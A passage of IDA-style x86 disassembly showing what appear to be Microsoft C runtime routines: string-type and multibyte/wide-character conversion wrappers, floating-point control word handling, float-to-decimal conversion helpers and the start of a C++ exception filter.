esp mov eax, dword_4DBB28 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call dword_427020 ; GetStringTypeW test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB4EC push esi push ebx call dword_427024 ; GetStringTypeA test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DBB28, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB9F4 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_427024 ; GetStringTypeA jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DBA04 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_427180 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_427180 ; MultiByteToWideChar cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_427020 ; GetStringTypeW jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB9F4, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43CBC4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBA04 call dword_42717C ; WideCharToMultiByte test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB938, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB9F4, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C9B8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43CBC4 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBA04 call dword_427180 ; MultiByteToWideChar test eax, eax mov eax, dword_43CBC4 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB938, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBA04 call dword_427180 ; MultiByteToWideChar test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D338 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D350 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBB30 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DBB58, eax add esp, 18h movsx eax, byte_4DBB32 mov dword_4DBB50, eax pop edi movsx eax, word_4DBB30 mov dword_4DBB54, eax mov dword_4DBB5C, offset dword_4DBB34 mov eax, offset dword_4DBB50 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: sub_424752o ; .packed:0043CF78o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DBB60 test eax, eax jz short loc_42474C push eax call 